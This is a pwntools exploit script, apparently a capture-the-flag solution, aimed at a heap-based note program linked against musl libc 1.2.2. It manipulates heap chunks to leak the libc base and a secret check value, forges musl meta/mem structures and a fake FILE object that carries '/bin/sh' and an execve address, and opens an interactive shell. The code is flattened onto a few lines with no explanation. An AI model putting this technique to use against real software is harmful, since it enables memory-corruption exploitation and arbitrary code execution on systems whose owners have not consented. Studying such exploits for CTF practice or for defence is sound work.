1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| from pwn import * context.log_level='debug' sh= process(["/home/rootzhang/musl/musl-1.2.2/build/lib/libc.so",'./pwn'])
def add(name_size,name,note_size,note): sh.sendlineafter("option: ","1") sh.sendlineafter("name size: ",str(name_size)) sh.sendafter("name: ",name) sh.sendlineafter("note size: ",str(note_size)) sh.sendafter("note content: ",note)
def free(name_size,name): sh.sendlineafter("option: ","3") sh.sendlineafter("name size: ",str(name_size)) sh.sendafter("name: ",name)
def find(name_size, name): sh.sendlineafter("option: ", '2') sh.sendlineafter("name size: ", str(name_size)) sh.sendafter("name: ", name) def forget(): sh.sendlineafter("option: ", '4')
def exp(): add(0x40,'1\n',0x40,'1\n') add(0x40,'2\n',0x28,'2\n') add(0x40,'3\n',0x28,'3\n') add(0x40,'4\n',0x28,'4\n') add(0x40,'5\n',0x28,'5\n') free(0x40,'1\n') free(0x40,'2\n') forget() add(0x40,'6\n',0x28,'6'*0x28) add(0x40,'7\n',0x28,'7\n') free(0x40,'6\n') add(0x40,'8\n',0x40,'8\n') find(0x40,'6\n') sh.recvuntil("0x28:") m=sh.recv(12) libc_addr="" for i in range(6): libc_addr+=m[(5-i)*2]+m[2*(5-i)+1] libc_base=int(libc_addr,16)-0xcb0+0x1000 free(0x40,'8\n') free(0x40,'7\n') forget() add(0x40,'\x09\n',0x28,'\x09'*0x28) add(0x40,'\x0b\n',0x28,'\x0b\n') free(0x40,'\x09\n') malloc_content=libc_base+0x1aa0 fake_content=p64(libc_base-0x1000+0x50)+p64(malloc_content)+p64(1)+p64(0x28)+p64(0) add(0x40,'\x0c\n',0x28,fake_content) find(0x40,'\x00\n') sh.recvuntil("0x28:") m=sh.recv(16) check="" for i in range(8): check+=m[(7-i)*2]+m[2*(7-i)+1] check=int(check,16) free(0x40,'\x0c\n') free(0x40,'\x0b\n') add(0x40,'\x0d\n',0x40,'\x0d\n') add(0x40,'\x0e\n',0x28,'\x0e\n') free(0x40,'\x0d\n') free(0x40,'\x0e\n') forget() fake_mem_addr=libc_base-0xc000+0x1000+0x40 fake_meta_addr=libc_base-0xc000+0x1000+0x10 add(0x40,'\x0f\n',0x28,'\x0f\n') stdout_addr=libc_base+0x12e0 stderr_addr=libc_base+0x10e0 stdout_use_addr=libc_base+0x1410 execve_addr=libc_base-0x259323 sc = 8 freeable = 1 last_idx = 0 maplen = 1 fake_meta = '' fake_meta += p64(fake_mem_addr+0x10) fake_meta += p64(stdout_use_addr) fake_meta += p64(fake_mem_addr) fake_meta += p32(0) + p32(0) fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) fake_meta += p64(0) fake_mem=p64(fake_meta_addr) fake_mem += p32(1) fake_mem += p32(0) fake_io='/bin/sh\x00'+'a' * 32+p64(0xdeadbeef) + 'x' * 8 + p64(0xbeefdead)+p64(execve_addr) + p64(execve_addr) payload='\x00'*(0x1000-0x20) payload+=p64(check)+p64(0) payload+=fake_meta payload+=fake_mem payload+=fake_io add(0x40,'\x10\n',0x2000,payload.ljust(0x2000,'\x00')) add(0x40,'\x11\n',0x2000,'\x11\n') free(0x40,'\x0f\n') fake_content=p64(libc_base+0x48e0+0x10)+p64(fake_mem_addr+0x10)+p64(1)+p64(0x28)+p64(0) add(0x40,'\x12\n',0x28,fake_content) free(0x40,'\x35\n') gdb.attach(sh) sh.sendlineafter("option: ","5") sh.interactive() exp()
|